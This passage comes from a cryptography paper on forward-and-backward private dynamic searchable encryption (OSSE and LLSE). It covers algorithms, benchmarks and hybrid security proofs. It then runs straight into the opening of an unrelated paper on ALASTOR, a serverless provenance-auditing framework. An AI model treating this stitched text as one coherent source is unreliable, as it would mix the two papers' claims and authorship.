The server traverses the tree from start in largely the same
manner as in OSSE, with one crucial difference: it does not
know the correct acc for the nodes it encounters. This is
resolved as follows. First (lines 12-15), it checks whether there
is a previous entry in MT ks for this keyword/label combination.
If found, then it extracts sacc, the access counter that node
lab had when (and if) it was last accessed during the previous
search for w, and otk which is the token during that search.
Clearly, if the node has ever been written, the correct current
acc can only be larger or equal than sacc. In both cases, it
then begins a binary search in the range between this value
(or 0, if not found) and twice the lab node’s height, looking
for the largest value acc for which the entry for lab in EM
is not empty, which is indeed the correct acc for node lab.
When this counter is computed, the correct data for lab is
retrieved from EM with the appropriate token (lines 21-25).
The search then progresses to the retrieved node’s children, or
its “natural” children if no entry is found for lab (lines 26-31).

5.2 LLSE Efficiency & Security Analysis
The search efficiency of LLSE is similar to OSSE. Each search
entails the same tree traversal, so it accesses O(nw + log iw)
nodes. But this time retrieving each node’s data requires a
binary search with max range [0,2h], where h≤ logN is the
node’s height. This follows from the fact that for a node
at height h each of its children pointers can change due to
deletions at most h− 1 times (each time moving “up” a
layer in the tree). Therefore, with LLSE searches require
O((nw + log iw) · log logN) operations. Updates require O(1)
oblivious and encrypted map accesses, both for insertions
and for deletions—an O(logN) factor faster than OSSE for
the latter. Finally, the storage is linear in both insertions N
and deletions D; since D≤ N, its overall storage is optimal
O(N). Other efficiency metrics are asymptotically the same

Algorithm 5 LLSE.Search(K,w,σ;EDB)

Client:
1: (cntw, iw,nxtPrntw)←MCnt .get(w);
2: tk← Fk(w,cntw); tk0← Fk(w,0)
3: MCnt .put(w,(++cntw, iw,dw))
4: Let s be the smallest power-of-2 such that iw ≤ s
5: Let v be the root of the subtree of leafs 1, . . . ,2s
6: start← lab(v)
7: Send (tk,start, iw, tk0) to server

Server:
8: Initialize emptylists TLabs,Res
9: Append start to TLabs

10: while TLabs ̸= /0 do
11: Remove the first entry lab from TLabs
12: sacc← 0; ctk← tk
13: r←MT ks.get(tk0, lab)
14: if r ̸= null then parse r as (otk,osacc)
15: sacc← osacc; ctk← otk
16: if lab≤ N then ▷ lab is a leaf
17: val← EM.get(H0(ctk, lab,1))
18: Append (lab,val) to Res; continue
19: Let h be the height of node lab
20: Perform binary search in [sacc,2h] to find max acc

such that EM.get(H0(tk, lab,acc)) ̸= null
21: if acc > sacc then
22: val← EM.get(H0(tk, lab,acc))
23: Mtks.put((tk0, lab)),(tk,acc))
24: else if acc = sacc and acc > 0 then
25: val← EM.get(H0(ctk, lab,acc))
26: if acc > 0 then
27: (le f t,right)← val⊕H1(tk, lab,acc)
28: else (le f t,right)← natural children of lab
29: Append le f t to TLabs
30: if ∃ leaf below right with label ≤ iw then
31: Append right to TLabs

32: Send Res to client
Client:
33: Initialize set DB(w)← /0

34: for (lab,val) in Res do Add Dec(sk,val) to DB(w)

as OSSE. It is easy to see the two schemes have the same
leakage profile; a curious server can ignore the binary search
and try all access counters to extract all Tw node information
from EM. Thus, LLSE is also forward-and-backward private.
We formally state its security in Appendix C.2; due to lack of
space, we delegate the proof to the full version [13].

6 Optimizations

In this section, we present some optimizations that can im-
prove the performance of our schemes.
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Figure 4: Search computation time vs. (a) variable nw for |DB| = 1M, (b) variable |DB| for nw = 100, (c) variable |DB| for
nw = 20K, (d) variable nw for |DB|= 1M and different OSSE cache settings.

(I) Improving Tree Traversals (during search). The search
algorithms of OSSE and LLSE need to search the sub-trees
that contain the MCS nodes for the range [1, iw]. We can opti-
mize this by storing as additional metadata two bits for each
MCS root node, which are used to: (i) avoid deleted sub-trees
and (ii) start the search from the parents of the MCS nodes
that contain a single leaf. To maintain these metadata bits, dur-
ing deletions we simply check whether the leaf to be deleted
is the last or second-last in its MCS sub-tree. Otherwise, the
metadata do not change. During search, these bits are sent to
the server who then chooses its best strategy. For example,
in Figure 3(bottom), only MCS root node 29 is searched, be-
cause all the other MCS sub-trees are empty. In cases like this,
where almost all MCS sub-trees are empty, this optimization
can reduce the number of operations to linear in nw. It also
works naturally with search result caching, which we describe
next. Finally, this does not affect the leakage of the scheme (a
“curious” server can already access all tree nodes anyway).

(II) Search Result Caching. Similar to [17], we propose a
second optimization in which previous results can be cached
at the server. This entirely avoids sub-tree traversals for un-
changed nodes (since the last search) and directly returns the
cached results. This is done by using a simple hashmap at the
server and storing the returned results in this map using the
search token as the key. The client sends the previous search
token together with the next search query, and the server uses
it to find cached results (if any). Identifying whether a node
has been changed between two consecutive searches can be
done using its access counter in OSSE (and, potentially, in
LLSE at the cost of additional bookkeeping). For example,
in Figure 3 assume a search query was performed before the
deletion of nodes 9-15 and a second query is performed after
the deletion of these nodes (in Figure 3(bottom)). In this case,
the second query will get the results for node 29 directly from
the cache (since that sub-tree remains unchanged). We note
this optimization does not incur extra leakage as the informa-
tion of when past updates and searches for w took place is
already part of our schemes’ search leakage profile.

(III) Storage Clean-Up in OSSE. When deleting a leaf in
OSSE, logN nodes are re-written with incremented access
counters. This is necessary to avoid leaking information about

the tree topology, but it also causes an extra logarithmic write
and space overhead.We can use a similar approach to Java’s
background garbage collection, so that the server will be able
to remove “stale ” records that are identified after a relevant
search query (exposing stale records during deletes would
violate forward privacy definition). This can run periodically
or in the background between queries to keep storage low. We
experimentally evaluate its impact in Section 7.3.

(IV) Constant Client Storage. Our schemes require non-
constant client storage to maintain the necessary metadata
MCnt ,MT ks. An approach to reduce the DSE client storage
that has already been proposed in [20] and is applicable in our
schemes is to store MCnt ,MT ks at the server using OMAPs,
at the cost of additional roundtrips of communication. Due
to the oblivious property, all these accesses are simulatable,
revealing no additional information to the server. In practice
this mainly affects the search performance since it takes an
OMAP access to retrieve the metadata for w—an additive
O(log2 N) factor. We experimentally evaluate this approach
for our schemes in Section 7.2.

7 Experimental Evaluation

We now report on the performance of our schemes and
compare them with prior state-of-the-art DSE. We imple-
mented OSSE and LLSE with approximately 6K lines of
code in C++. Our code is available at https://github.
com/jgharehchamani/OS-SSE. For symmetric encryption,
PRF, and hashing we used the AES implementation of
OpenSSL [2]. For comparison with Horus, QOS, and SDd we
used the publicly available code of [14, 20], also in C++. We
used a machine with eight-core Intel Xeon E-2174G 3.8GHz
processor, 128GB RAM, 1TB SSD, running Ubuntu16.04
LTS. In all our experiments, the database is stored in RAM.

We focus on measuring computation time and communica-
tion size for Search and Update queries. We measure these for
variable size synthetic datasets with |DB|= 103-107 records,
each time setting the total number of distinct keywords |W | to
one-hundredth of |DB|. Likewise, we report results for vary-
ing result size nw between 10-105 documents. Moreover, to
demonstrate the impact of deletions in the search performance
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we report results for variable deletion rates from 0-90%. Fi-
nally, since our OSSE scheme is the first to achieve optimal
search but it has asymptotically increased server storage, we
run a specific experiment to demonstrate that in practice this
storage blowup is often not prohibitively large. Experiments
were repeated 10× and the average is reported.

7.1 Performance of our Schemes
Our first set of experiments focuses on the performance
of OSSE, LLSE, and on evaluating the effect of our result-
caching optimization from Section 6. Specifically, OSSE*
denotes the version of OSSE with result caching. Regarding
smart tree traversal, we integrated this optimization to both
OSSE and OSSE* and we found it to have very small impact
in most cases. For this part, we fixed the deletion rate to 10%.
Search Performance. Figure 4 shows search computation
time as the result size (a) and database size (b,c) change. First,
as expected from our analysis search time grows linearly with
nw whereas its change with respect to the database size |DB|
is not considerable (note the exponential growth in the x-axis).
More importantly, all our schemes have excellent performance
in practice. E.g., even for retrieving large results of 100K id’s
from a dataset of size 1M they take less than 200ms, whereas
for smaller result sizes their performance is even better!

In Figures 4(a-c), OSSE* specifically refers to “best-case”
result caching, i.e., when two searches for w take place with-
out an intermediate update, so the second search can maxi-
mally benefit from caching. Not surprisingly, OSSE* outper-
forms the other two schemes by 2.1-4.8×. To better evaluate
the effect of result caching on OSSE, we ran an experiment
with variable caching benefit, shown in Figure 4(d). In this
setting, after inserting a number of entries for w and removing
10%, we execute a search for w to fill the cache. We then
delete additional entries so as to invalidate a certain percent-
age of the cache for w and report the time for a second search
and variable result size for: (i) OSSE* where the entire re-
sult is in cache, (ii) OSSE* with 10% and (iii) OSSE* with
30% of the cached result is modified, and (iv) OSSE-none
of the cash can be re-used. As expected, the more modified
the result is the second time, the smaller the improvement
achieved. E.g., for |DB| = 1M and result size 100K OSSE*
takes 61ms, OSSE* with 10% and 30% modification takes
97ms and 111ms, and OSSE takes 134ms. In that sense, OSSE
and OSSE* represent an upper and lower bound for the search
performance of our first scheme, and in the following experi-
ments for search performance we report both of them.

Finally, search communication size is the same for both
OSSE and LLSE and it is concretely optimal. The client sends
at most two search tokens and the server responds with exactly
nw ciphertexts. For example, for |DB| = 1M, result size 1K
and 128-bit AES ciphertexts this is approximately 16KB.
Update Performance. Figure 5 shows the update compu-
tation time for OSSE and LLSE vs. variable |DB|. The ob-
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Figure 5: (a) Insertion, (b) Deletion computation time vs. |DB|

vious conclusions from the figures are: (i) the update time
slightly increases with DB due to the increase in the size of
the OMAPs (again, note the exponential x-axis), (ii) OSSE
has faster insertion than LLSE as it needs one oblivious map
access while LLSE needs two, (iii) as expected, deletion with
LLSE is much faster than OSSE. Overall, OSSE is 2-2.2×
faster than LLSE in insertion and LLSE is 3.2-7.2× faster than
OSSE in deletion. That said, both schemes have good perfor-
mance, e.g., OSSE and LLSE take 4ms and 9ms to insert an
entry and 101ms and 16ms to delete one from a database of
size 1M. Update communication sizes follow the same trend:
larger in LLSE for insertion, but smaller for deletion.

7.2 Comparison with Other DSE
Next, we compare the performance of our schemes with prior
forward and backward private schemes, focusing on existing
DSE with quasi-optimal search, QOS from [20] and Horus
from [14]. We also compare their performance with SDd
from [20], a state-of-the-art DSE that achieves very fast search
but linear in the total number of insertions aw.
Search Performance. Our main motivation for studying op-
timal DSE schemes is to avoid “paying” for deleted entries
during a search. Thus, we ran a set of experiments with vari-
able deletion percentages to measure the effect of deletions
for the different schemes. We also included Horus in our ex-
periments, however, it is not shown in the figures, as it was
2-5 orders of magnitude slower than all other schemes.
Random deletions. First we vary the deletion percentage be-
tween 0-90% after a fixed number of insertions for the queried
keyword, with deletions chosen at random among them. We
try two cases: (a) small results iw = 100, (b) big results
iw = 20K, in Figures 6 (a),(b), respectively. The search time of
all optimal/quasi-optimal schemes generally decreases with
deletion percentage increases (except for OSSE that for 0-
20% slightly increases as it is already optimal initially), while
for SDd it grows as expected, since it stores deletions as en-
tries. Second, our schemes OSSE,LLSE, OSSE* outperform
the prior best quasi-optimal search DSE QOS across all delete
percentages and are 1.4-2.6×, 1.2-1.8×, 3.2-6.6× faster, re-
spectively. The encouraging side-effect of this is that they
become truly faster than SDd at 55%, 55%, and 5% deletion
rates for small results and at 45%, 50%, and 5% deletion rates
for large results, respectively. In contrast, QOS becomes faster
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Figure 6: Search computation time for |DB| = 1M and (a) variable deletion percentage for iw = 100, (b) variable deletion
percentage for iw = 20K, (c) structured deletion for iw = 100, (d) structured deletion for iw = 20K.

than SDd only after 65% and 75% deletion for the two settings.
This is the joint effect of our compact tree design, elimination
of re-encryption in searches, and optimizations. In practice,
we believe this really drives the case for the practicality of
DSE with search time independent of past deletions.
Structured deletions. We repeated this comparison for the
case of more “structured” deletions in which consecutive tree
leafs are pruned in batch to see how this affects performance.
In practice, this deletion pattern may occur in applications
such as an encrypted relational database that performs a bulk
update in a table, effectively removing all entries for a column
and inserting new ones. Subsequent such modifications will
again delete consecutively place entries. To evaluate this, we
insert a fixed number of entries for w and then delete a vari-
able percentage of them by choosing consecutive ranges of
size 1,2,4,8 at random with 10% probability. In this manner,
we achieve deletion rates of 10,20,40,80% but in a certain
structure. The result is shown in Figure 6 (c),(d). The general
observation is that the impact of this is not significant, with all
schemes achieving slightly better performance (roughly 1.1-
1.7×) as these deletions eliminate entire sub-trees and reduce
the number of accessed nodes in a “nice” manner, but the
improvement is not that considerable. The one exception to
this is SDd that is unaffected as it treats all deletions equally.
Small-client storage versions. Demertzis et al. [20] consider
a scenario with small-client users who cannot store keyword
counters locally. For QOS, they do this by storing them in an
oblivious map of size |W | and retrieving them at the beginning
of each search. As discussed in Section 6, we can do the same
for our schemes. One expects that this OMAP access will dom-
inate the search time for all schemes. Indeed this is shown
for small results in Figure 7(a) where all schemes except SDd
have essentially the same performance. SDd outperforms all
other candidates as it achieves small client storage without the
need for an oblivious map in search. However, for medium
(iw = 5K) and larger (iw = 20K) result sizes (Figure 7(b),(c)),
surprisingly our schemes eventually outperform all competi-
tors. E.g., for large result size 20K, OSSE*, OSSE, LLSE, are
always better than QOS and even outperform SDd at 25%,
65%, and 70%, deletion rates, respectively.
Update performance. Regarding insertion computation
times (Figure 5), OSSE and QOS have almost the same in-

sertion (and about 2× faster than LLSE). For deletions, LLSE
outperforms QOS by approximately 3-6.4×.

7.3 Effect of Deletion Storage for OSSE

One of the drawbacks of OSSE is that it needs to store logN
entries in the encrypted map for every deletion. In the ab-
solute worse case (number of deletions D = N), this blows
the storage for EM by a logarithmic factor. That said, there
are two important observations that point towards this not
being such a prohibitive factor. First, the server’s storage also
consist of two OMAPs that are setup to max capacity N and
their size is not affected by deletions, so the blowup is only
partial. Second, as we explained in Section 6, the server can
perform a “clean-up” in the background or periodically, using
the tokens it gathers from searches to remove unnecessary
“stale” entries. Here, we attempt to demonstrate the effect this
cleanup can have in keeping the storage smaller. The crucial
measure here is how often searches take place, i.e., the relative
frequency of searches and deletions for a keyword.

In lack of a real-world query workload that would allow
us to accurately evaluate this, we perform a simplified exper-
iment where we first insert 100K entries for a keyword and
then we randomly delete 30%. What we vary is how searches
are interleaved with these 30K deletions among {1/10K,
1/1K, 1/100, 1/50, 1/20, 1/10, 1/4, 1/2}. E.g., 1/2 means
that each deletion is followed by a search for the keyword,
whereas 1/10K means only three searches happen, each after
10K deletions. What we report in Figure 7(d) is the average
number of entries in EM throughout the execution of all these
searches/deletions (assuming for simplicity that cleanup hap-
pens immediately after each search). For comparison we also
include the same number for LLSE, as well as an “optimal”
plaintext storage where deletions just mark a cell as available.

As expected, lower search frequency leads to overall in-
crease in the server’s storage in OSSE. However, even when
search occurs after 10K deletions the overall average storage
is at most 2× the optimal size 100K, as a result of cleanup.
Besides the average, we also measured the 75-th and 90-th
percentile as 280K and 116K entries, respectively. This can
be interpreted as 90% of the time the entries’ storage for this
keyword is less than 3× the optimal and 75% of the time it is
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Figure 7: Search computation time for |DB|= 1M and variable deletion percentage for: (a) iw = 100 using OMAP, (b) iw = 5K
using OMAP, (c) iw = 20K using OMAP. (d) Number of entries in server for iw = 100K and 30K deletion and variable search.

less than 1.16×. While our simplified experiment runs for one
w, if we assume similar query distribution across keywords
these results can be extrapolated for the dataset. On the other
hand, with LLSE the storage is almost the same for differ-
ent search intervals, e.g., for our experiments the average is
1.07-1.1× the optimal number of entries.

8 Conclusion

In this work, we presented two forward-and-backward private
DSE schemes with very efficient search performance, indepen-
dent of prior deletions. The experimental evaluation shows our
schemes outperform prior ones for a variety of settings. Our
results leave several possible directions for improvement, e.g.,
propose schemes with similar search performance but faster
updates, or DSE that achieve stronger variants of backward pri-
vacy (without compromising search efficiency). Finally, moti-
vated by leakage abuse attacks [7,10,33,34,37,47–49,55,69],
it seems very promising to try and adopt leakage-suppression
techniques [22, 41, 57, 70] to combine optimal search perfor-
mance with improved leakage profiles.
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A Details of Cryptographic Primitives

Pseudorandom functions. Let Gen(1λ) ∈ {0,1}λ be a key
generation function, and F : {0,1}λ×{0,1}ℓ→{0,1}ℓ′ be a
pseudorandom function (PRF) family. Fk(x) denotes F(k,x).
F is a secure PRF family if for all PPT adversaries Adv,
|Pr[k← Gen(1λ);AdvFk(·)(1λ) = 1]−Pr[AdvR(·)(1λ) = 1]| ≤
v(λ), where R : {0,1}ℓ→{0,1}ℓ′ is a truly random function.
Symmetric-Key Encryption. A symmetric-key encryption
scheme SKE = (Keygen,Enc(sk,x),Dec(sk,c)) consists of
the three algorithms:

• KeyGen(λ): A probabilistic algorithm that takes the secu-
rity parameter λ as input and outputs a secret-key sk.

• Enc(sk,x): A probabilistic algorithm that takes sk as input
key and a plaintext x. It outputs a ciphertext c.

• Dec(sk,c): A deterministic algorithm that takes as input
key sk and ciphertext c. It outputs decrypted plaintext x.

A symmetric-key encryption scheme is said to be CPA-
secure if for all PPT adversaries Adv and any two arbi-
trary plaintext messages x0 and x1, |Pr[Adv(EncK(x0)) =
1]−Pr[Adv(EncK(x1)) = 1]| ≤ v(λ), where K←KeyGen(λ).

B DSE Security Game

Figure 8 shows the RealDSE and IdealDSE games for the DSE
security definition 1.

B.1 Leakage Functions for Backward Privacy
Assume Q is list with one entry for each operation. The
entry for a search and an update is of the form (u,w)
and (u,op,(w, id)), respectively, where u is the query
timestamp (starting from 1), w is the searched keyword,
op = add/del, and id is the modified file. For key-
word w, TimeDB(w) = {(u, id) | (u,add,(w, id)) ∈ Q ∧
∀u′,(u′,del,(w, id)) /∈Q} returns the list of all timestamp/file-
identifier pairs of keyword w that have been added to DB
and have not been subsequently deleted. Finally, the func-
tion DelHist(w) = {(uadd ,udel) | ∃ id : (uadd ,add,(w, id)) ∈
Q∧ (udel ,del,(w, id)) ∈ Q} returns the history of deleted en-
tries by giving all (insertion timestamp, deletion timestamp)
pairs to the adversary. Informally, it shows which deletion
corresponds to which addition.

b← RealDSE
Adv (λ,q):

1: N← Adv(1λ)
2: (K,σ0,EDB0)←Setup(1λ,N)
3: for k = 1 to q do
4: (typek, idk,wk)← Adv(1λ,EDB0, t1, . . . , tk−1)
5: if typek = search then
6: (σk,DB(wk);EDBk)←Search(K,wk,

σk−1;EDBk−1)
7: else if typek = update then
8: (σk;EDBk)←Update(K,add/del,(idk,wk),

σk−1; EDBk−1)

9: Let tk be the messages from client to server in
the Search/U pdate protocols above

10: b← Adv(1λ,EDB0, t1, t2, . . . , tq);
11: return b;

b← IdealDSE
Adv,Sim,L(λ,q):

1: N← Adv(1λ)
2: (stS ,EDB0)←SimSetup(1λ,N)
3: for k = 1 to q do
4: (typek, idk,wk)← Adv(1λ,EDB0, t1, . . . , tk−1)
5: if typek = search then
6: (stS ; tk,EDBk)←SimSearch(stS ,

LSrch(wk);EDBk−1)
7: else if typek = update then
8: (stS ; tk,EDBk)←SimUpdate(stS ,

LU pdt(wk);EDBk−1)

9: b← Adv(1λ,EDB0, t1, t2, . . . , tq);
10: return b

Figure 8: Real and ideal experiments for the DSE scheme.

C Formal Analysis

C.1 Proof of Lemma 1

Let s be the starting node of the search and recall that s is
the root of a full binary tree. We denote by S the set of nodes
in Tw that belong to the subtree rooted by s. Let v1, . . . ,vl
be the roots of the l full binary trees of the MCS forest for
leafs [1, iw], with l < log iw. Let S′ be the set that contains
all the nodes of Tw that belong to a subtree rooted by any of
the nodes vi. Clearly, since s is a common ancestor of all vi,
S′ ⊆ S. The set S′′ := S\S′ contains at most log iw nodes that
are ancestors of some of the leafs in [1, iw]: one for each layer
from s to right before the leafs (all parents of vi).

Having defined these sets, the search process starts from s
and accesses all the nodes in S′′ and those in S′ that have not
been removed by some of the previous deletions. The number
of nodes in S that are not deleted can be proven to be≤ 2nw by
a simple induction on the number of deletions. For 0 deletions,
S consists of full binary trees hence |S| = 2iw − 1 < 2nw,
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since nw = iw in this case. After k deletions by the inductive
hypothesis there will be less than 2(iw− k) nodes. Since each
deletion removes exactly two nodes from S (the leaf to be
deleted and its parent), after deletion k+1, there will be less
than 2(iw− k)−2 = 2(iw− (k+1)), i.e., less than twice the
result size (iw− (k+1)).

As S′ and S′′ are disjoint, the total number of nodes accessed
by a search is upper bounded by 2nw + log iw.

C.2 Proof of Security
Theorem 1. Assuming F is a secure PRF, SKE is a se-
cure encryption scheme, OMDel ,OMTree are secure oblivi-
ous maps, OSSE is adaptively-secure in the programmable
random oracle model according to Definition 1, with
LSetup(N) = N and LU pdt(op,w, id) = op and LSrch(w) =
(TimeDB(w),DelHist(w)).

Proof. We prove the security of OSSE via a sequence of
indistinguishable hybrids as follows:

• Hybrid-0: This is the RealSSE game defined in Ap-
pendix B between the adversary and a challenger.

• Hybrid-1: This is the same as Hybrid-0 but all
encryptions val corresponding to leaf nodes during
insertion queries are replaced with SKE.Enc(sk,0),
i.e., encryptions of zero. Since decryption happens
only locally by the client, any adversary that can distin-
guish between these two games can be used to break
the CPA security of SKE via a series of standard hybrids.

• Hybrid-2: This is the same as Hybrid-1 but all tokens
tk for any keyword w and counter cntw are instead
generated uniformly at random from the range of
the PRF F {0,1}λ. More specifically, the challenger
initiates a map T K. Every time the code calls for
a token tk for a new w,cntw combination, it gets
the result of T K.get((w,cntw), tk). If the result is
null, it chooses tk uniformly at random and stores it
with T K.put((w,cntw), tk), for future reference. The
two games can be shown to be indistinguishable due
to the security of the PRF via a series of standard hybrids.

• Hybrid-3: This is the same as Hybrid-2 but the
challenger internally maintains a list I that stores the
contents of each query of the adversary (w for searches,
(w, id,op) for updates). With this list I, the challenger
can at any phase of the game, accurately compute the
correct Tw tree for every keyword w, including the
correct access counter for each node based on the history
of the adversary’s queries. This change is internal only
so Hybrid-3 is identical to Hybrid-2 for the adversary.

• Hybrid-4: This is the same as Hybrid-3 but during setup
the oblivious map initializations for OMDel ,OMTree
are replaced with calls to two simulators SIMOMAP for
capacity N. All future oblivious map accesses are emu-
lated by calls to the corresponding simulators SIMOMAP.

Whenever the code needs such an access during an
update, the challenger recreates the corresponding
tree Tw for the related keyword w at that phase of the
game and calculates the access result from this. Hence,
Hybrid-4 is indistinguishable from Hybrid-3 due to the
security of the oblivious maps.

• Hybrid-5: This is the same as Hybrid-4 but all calls to
H0 are emulated by the challenger as follows. Whenever
the code or the adversary calls for an evaluation of H0,
the challenger, who maintains a table H0 of all past
H0-calls, responds: (i) with a freshly chosen random
value from the range of H0 if this input has not been
requested for evaluation before, in which case it stores it
at H0 together with the input, (ii) with the evaluation
result stored in H0 if the input has been requested
before. Denote by Bad1 the event where throughout the
game the challenger happens to sample the same H0
evaluation for different inputs. If Bad1 takes place the
challenger aborts. Clearly, conditioned on not aborting,
the view provided to the adversary in Hybrid-4 is
identical to that of Hybrid-3. Second, since the range of
H0 is assumed exponential to the security parameter λ,
whereas the number of H0-calls that will be executed
throughout the game is polynomial in λ (since the
adversary is bounded) by the birthday problem the
probability of abort is negligible. Hence the games
are statistically indistinguishable in the programmable
random oracle model.

• Hybrid-6: This is the same as Hybrid-5 with the
following modification. For calls to H0 to calculate addr
during insertions (Algorithm 1, line 4) and deletions
(Algorithm 2, line 20), the challenger samples the
evaluation as above but instead stores it to table H0′

together with the timestamp 1≤ u≤ q of the operation.
For deletions, it stores all logN sampled valued in the
order in which they are called. Then, for a search query
with tokens tk, tk0, let u1, . . . ,ut be the timestamps of all
prior updates for the same keyword w, after the latest
prior search for the same keyword. The challenger first
builds all prior “snapshots” of T (1)

w , . . . ,T (t)
w . Based

on this, it calculates for each update operation, the
corresponding involved node labels, access counters,
and the order in which they were accesses within the
operation (for deletions). For each involved node label
lab in these updates let MaxAcc be its maximal access
counter in all tree snapshots. The challenger matches
each such pair lab,acc for acc ∈ [1,maxAcc] to the
corresponding timestamp (and within the timestamped
operation, the exact order to which this pair corresponds)
and identifies the corresponding evaluation addr in
H0′. It then removes this entry from H0′ and inserts
to H0 the mapping (tk, lab,acc)→ addr. Note that, if
tk ̸= tk0, entries for the latter have already been moved
to H0. Effectively, this “matches” the evaluations during
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searched with the ones during previous related updates.
Denote by Bad2 the event where when the challenger
moves entries from H0′ to H0 in the above process,
it encounters an already filled entry in H0. Since
during the protocol execution all H0 evaluations during
searches follow prior evaluations on the same input
during an update, this can only happen if the adversary
has posted a query to H0 for a token tk it has not yet seen,
effectively guessing it. In this hybrid, the challenger
modifies its code to check if Bad2 take place; if that
happens it aborts. First, note that unless the challenger
aborts the game is identical to that of Hybrid-5. Second,
given that tokens are sampled uniformly at random from
a domain exponential in λ, whereas the total number
of H0-calls that the adversary can do throughout the
game is polynomial in λ (since the adversary is PPT),
the probability of aborting is negligible in λ, hence the
two Hybrids are statistically indistinguishable.

• Hybrid-7: This is the same as Hybrid-6 but we now also
replace H1 with a programmable random oracle exactly
as we did in Hybrid-5 for H0. By the same reasoning
as in that case, this hybrid is indistinguishable from the
previous one.

• Hybrid-8: This is the same as Hybrid-7 but we
now manipulate the evaluations of H1 during dele-
tions, exactly as we did in Hybrid-6 for H1. More
specifically, during deletions we sample the different
val uniformly at random and store them at a table
H1′ for the time being. During searches, the only
difference is that when moving an entry lab,acc with
evaluation val and a corresponding token tk from
H1′ to H1 during a search, tt sets the mapping to
(tk, lab,acc) → val ⊕ (le f t, le f tAcc,right,rightAcc)
where these four values can again be calculated directly
from the series of trees T 1

w , . . . ,T
t
w. This ensures

subsequent evaluations during the search execution by
the server will be consistent with Algorithm 2, lines
20-21. Note that this also eliminates the need for token
calculation during updates so this part is removed from
the code of the challenger. By the same reasoning as
for Hybrid-6, this hybrid is indistinguishable from the
previous one.

• Hybrid-9: This is the same as Hybrid-8 but the
challenger changes the list token map T K to map tokens
to the search timestamp during they were created. This
change is internal only so the game is identical to
Hybrid-8 for the adversary.

• Hybrid-10: This is the same as Hybrid-9 but the
challenger changes what the query list I store for each
query. If k is an update, I(k) = ⊥. If k is a search for
keyword w, I(k) = (TimeDB(w),DelHist(w)). We note
that the code of the challenger from Hybrid-9 can still
be executed solely with this information, as follows.
At this point, updates only involve sampling random

appropriate random value for addr,val and simulating
oblivious map accesses. Regarding searches, first the
challenger can find which prior operations involve
the same keyword from TimeDB(w),DelHist(w),
directly for the case of prior updates, and indirectly by
comparing TimeDB(w) for past searches in order to
reuse token tk0. Second, it can calculate the counters
cntw, iw,dw directly from TimeDB(w),DelHist(w).
Third, the functions TimeDB(w),DelHist(w) map
previous insertions and deletions to a unique Tw since
they reveal when insertions took place and for each
deletion specifically which prior insertion it cancels.
Finally, from this the challenger can compute all nodes’
access counters which are necessary for running the
hybrid’s search code. Again, this change is internal only
so Hybrid-8 is identical to Hybrid-9 for the adversary.

• Hybrid-11 This is the same as Hybrid-10 but the
client only receives op (instead of op,w, id) during up-
dates, and TimeDB(w),DelHist(w) (instead of w) dur-
ing searches. Clearly, this is again indistinguishable to
the adversary.

The modified challenger’s code for the final hybrid is essen-
tially the code of our simulator in the IdealSSE game as it only
takes as input the leakage of Theorem 1. Since we showed
that Hybrid-0 and Hybrid 11 provide an indistinguishable
view to an adversary playing the DSE adaptive security of
Figure 8, the result follows.

We make two remarks about the above proof. First, even
though TimeDB(w) includes the actual id’s of the documents
in DB(w) we never used this information, since our scheme’s
goal is to retrieve DB(w) and this result remains always en-
crypted for the adversary. However, our use of Time(DB) also
covers our analysis for cases where OSSE is used in applica-
tions that want to retrieve the actual documents (see discus-
sion in Section 3). Second, in the above we make the implicit
assumption that search queries for non-existent keywords are
not repeated; with this restriction, our leakage profile always
captures standard search pattern leakage. However, to cover
such cases, we should expand our leakage to explicitly include,
when such a non-existing keyword was searched previously.

Finally, the following characterizes the security of our sec-
ond scheme LLSE. The formal proof is very similar to that of
OSSE above and we defer it to the full version [13] due to
space limitations.

Theorem 2. Assuming F is a secure PRF, SKE is a se-
mantically secure encryption scheme, OMDel ,OMTree are
secure oblivious maps, LLSE is adaptively-secure in the
programmable random oracle model according to Defini-
tion 1, with LSetup(N) = N and LU pdt(op,w, id) = op and
LSrch(w) = (TimeDB(w),DelHist(w)).
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Abstract

Serverless computing has freed developers from the burden
of managing their own platform and infrastructure, allowing
them to rapidly prototype and deploy applications. Despite
its surging popularity, however, serverless raises a number of
concerning security implications. Among them is the diffi-
culty of investigating intrusions – by decomposing traditional
applications into ephemeral re-entrant functions, serverless
has enabled attackers to conceal their activities within legit-
imate workflows, and even prevent root cause analysis by
abusing warm container reuse policies to break causal paths.
Unfortunately, neither traditional approaches to system audit-
ing nor commercial serverless security products provide the
transparency needed to accurately track these novel threats.

In this work, we propose ALASTOR, a provenance-based
auditing framework that enables precise tracing of suspicious
events in serverless applications. ALASTOR records function
activity at both system and application layers to capture a
holistic picture of each function instances’ behavior. It then
aggregates provenance from different functions at a central
repository within the serverless platform, stitching it together
to produce a global data provenance graph of complex func-
tion workflows. ALASTOR is both function and language-
agnostic, and can easily be integrated into existing serverless
platforms with minimal modification. We implement ALAS-
TOR for the OpenFaaS platform and evaluate its performance
using the well-established Nordstrom Hello,Retail! applica-
tion, discovering in the process that ALASTOR imposes man-
ageable overheads (13.74%), in exchange for significantly
improved forensic capabilities as compared to commercially-
available monitoring tools. To our knowledge, ALASTOR is
the first auditing framework specifically designed to satisfy
the operational requirements of serverless platforms.

1 Introduction

Serverless Computing, the newest offering in the cloud com-
puting ecosystem, has become an attractive solution for many

companies including Netflix, T-Mobile and Zillow [20]. Also
known as Function-as-a-Service (FaaS), serverless allows
large companies to conveniently auto-scale to massive loads
while also allowing small start-ups to “scale-to-zero” and
avoid the costs of idle servers [40]. Consequently, the server-
less market growth was estimated from $1.88 billion in 2016
to $7.72 billion by 2022, an annual growth rate of 32.7%
[64]. Serverless platforms free web-developers from all hard-
ware and software stack management tasks, allowing them
to rapidly prototype applications [99] as interdependent set
of small task-specific functions. They can even make use of
existing function logic, made available through public mar-
kets [2, 73], closed-source license agreements [46, 53], or
third-party libraries [44, 45].

At first glance, serverless computing would seem to sig-
nificantly raise the bar for would-be attackers; after-all, the
provider-managed platform is likely to be correctly config-
ured, the small footprint of each function lends itself to strin-
gent access control restrictions, and the stateless and short-
lived nature of function execution seems to eliminate the
possibility of persistent compromise. Unfortunately, industry
security researchers quickly discovered that this was not the
case [58, 61]. One major oversight in the serverless security
model is the ubiquitous practice of caching recently-invoked
functions in memory to improve performance. Known as
“warm container reuse,” this optimization grants attackers the
ability to establish quasi-persistence when a vulnerability is
discovered, violating the isolation of individual function invo-
cations. The container reuse problem is exacerbated by poor
security policy and configuration [58], enabling attackers to
move laterally through function workflows. As a result of
these capabilities, vulnerabilities can be exploited just as eas-
ily in serverless applications as they can in traditional servers.

Given that a variety of attack strategies are feasible on
